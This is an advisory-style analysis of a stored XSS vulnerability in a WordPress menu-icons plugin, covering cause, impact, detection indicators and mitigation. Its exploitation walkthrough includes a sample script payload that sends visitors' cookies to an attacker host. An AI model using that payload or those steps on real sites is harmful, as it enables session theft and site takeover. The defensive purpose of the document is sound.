CVE-2026-1755: 
WordPress vulnerability analysis and mitigation

CVE-2026-1755 is a Stored Cross-Site Scripting (XSS) vulnerability in the Menu Icons by ThemeIsle plugin for WordPress. It affects all versions up to and including 0.13.20, stemming from insufficient input sanitization and output escaping of the _wp_attachment_image_alt post meta field. Authenticated attackers with Author-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize the _wp_attachment_image_alt post meta value before storing it and fails to escape it on output, allowing malicious script content to be persisted in the database and rendered in the browser. Exploitation requires an authenticated session with at minimum Author-level WordPress privileges, meaning the attacker must have a valid account on the target site. The attack vector is network-based with low attack complexity and no user interaction required beyond a victim visiting the injected page (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected content, with a changed scope affecting other users beyond the attacker's own session. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators (potentially enabling privilege escalation to full site compromise). Confidentiality and integrity are both assessed as low-impact per the CVSS scoring, with no direct availability impact (Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2026-1755 as of the available data. The EPSS score is 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for an authenticated Author-level (or higher) account on the target WordPress site (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Menu Icons by ThemeIsle plugin at version 0.13.20 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain Author-level access: Register or compromise an account with at least Author-level privileges on the target WordPress site.
3. Upload or edit a media attachment: Navigate to the WordPress Media Library and upload an image or edit an existing attachment.
4. Inject malicious payload: Set the image's Alt Text field (_wp_attachment_image_alt) to a crafted XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
5. Associate the attachment with a menu icon: Use the Menu Icons plugin to assign the malicious attachment as a menu icon on a published page or navigation menu item.
6. Trigger execution: When any site visitor (including administrators) loads the page containing the injected menu icon, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Red Hat CVE).

• Database: Suspicious JavaScript or HTML script tags stored in the wp_postmeta table under the _wp_attachment_image_alt meta key for attachment post types.
• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API media endpoint from Author-level accounts with unusual or encoded payloads in the alt text field.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with menu icons (indicative of XSS payload execution).
• Browser/Client: Unexpected redirects, pop-ups, or session cookie exfiltration events observed in browser developer tools or web application firewall logs when navigating pages with Menu Icons plugin content.

Users should update the Menu Icons by ThemeIsle plugin to a version above 0.13.20 that includes the fix for this vulnerability. If an immediate update is not possible, site administrators should restrict Author-level account creation and review existing Author accounts for signs of abuse. Implementing a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence, Sucuri) can provide an additional layer of defense while patching is pending (Wordfence, Sucuri).

Wordfence included CVE-2026-1755 in its weekly WordPress vulnerability report for the period of February 2–8, 2026, flagging it as a medium-severity stored XSS issue requiring attention from site administrators (Wordfence). Sucuri also referenced the vulnerability in its February 2026 vulnerability patch roundup, reinforcing the recommendation to update the plugin promptly (Sucuri). No significant social media controversy or broader media coverage has been identified beyond standard vulnerability aggregator reporting.